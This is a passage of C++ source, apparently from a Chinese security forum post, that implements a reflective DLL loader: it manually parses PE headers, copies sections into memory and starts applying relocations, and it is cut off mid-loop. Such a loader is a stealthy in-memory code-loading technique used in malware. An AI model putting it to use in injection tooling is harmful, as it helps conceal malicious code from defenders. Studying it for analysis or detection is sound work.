    wchar_t* fileName = NULL;
    wchar_t* temp = (wchar_t*)fullDllName;
 
    // 遍历并找到最后一个 '\\',获取文件名部分
    while (*temp) {
        if (*temp == L'\\') {
            fileName = temp + 1;  // 更新文件名的位置
        }
        temp++;
    }
 
    // 如果没有找到 '\\',则认为整个字符串就是文件名
    if (!fileName) {
        fileName = (wchar_t*)fullDllName;
    }
 
    return fileName;
}
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)
{
    //获取磁盘文件的DOS头和NT头
    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                             //赋值DOS头
    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头
 
    //给内存分配空间,并对pAlloc进行初始化
    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage;  //内存空间大小
    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);
 
    if (pAlloc == NULL) return FALSE;
    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE;  // 无效的头,直接退出
 
 
    // 手动实现 CopyMemory 的功能
    BYTE* dst = (BYTE*)pAlloc;               // 目标内存地址
    BYTE* src = (BYTE*)pDll;                 // 源内存地址
    size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数
 
    for (size_t i = 0; i < size; ++i) {
        dst[i] = src[i];                     // 逐字节复制
    }
 
    //复制节区表
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));
    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;
 
    for (int i = 0; i < SecNum; i++) {
        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
            pSec++;
            continue;
        }
 
        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));
        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));
        DWORD dwSizeOfRawData = pSec->SizeOfRawData;
        DWORD dwVirtualSize = pSec->Misc.VirtualSize;
        for (DWORD j = 0; j < dwSizeOfRawData; j++) {
            chDestMem[j] = chSrcMem[j];
        }
 
        if (dwVirtualSize > dwSizeOfRawData) {
            char* start = chDestMem + dwSizeOfRawData;
            char* end = chDestMem + dwVirtualSize;
            while (start < end) {
                *start++ = 0;
            }
        }
 
        pSec++;
    }
 
    //杜哥部分登场
    //开始检测并加载重定位表
    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);
    //重定位表指针通过NT结构的数据目录表查找到位置
    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中
    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
    {
        do {
            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);          //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
            int num = (pBaseReloc->SizeOfBlock - 8) / 2;                //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
            for (int i = 0; i < num; i++)
            {
                WORD type = TypeOffset[i] >> 12;                        //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
                WORD offset = TypeOffset[i] & 0x0FFF;                   //去掉类型(前四字节)
                int differ = 0;
                if (type == 3)
                {
                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;
                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;
                    char* fromeaddr = (char*)p;
                    for (int c = 0;c < 4;c++) {

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//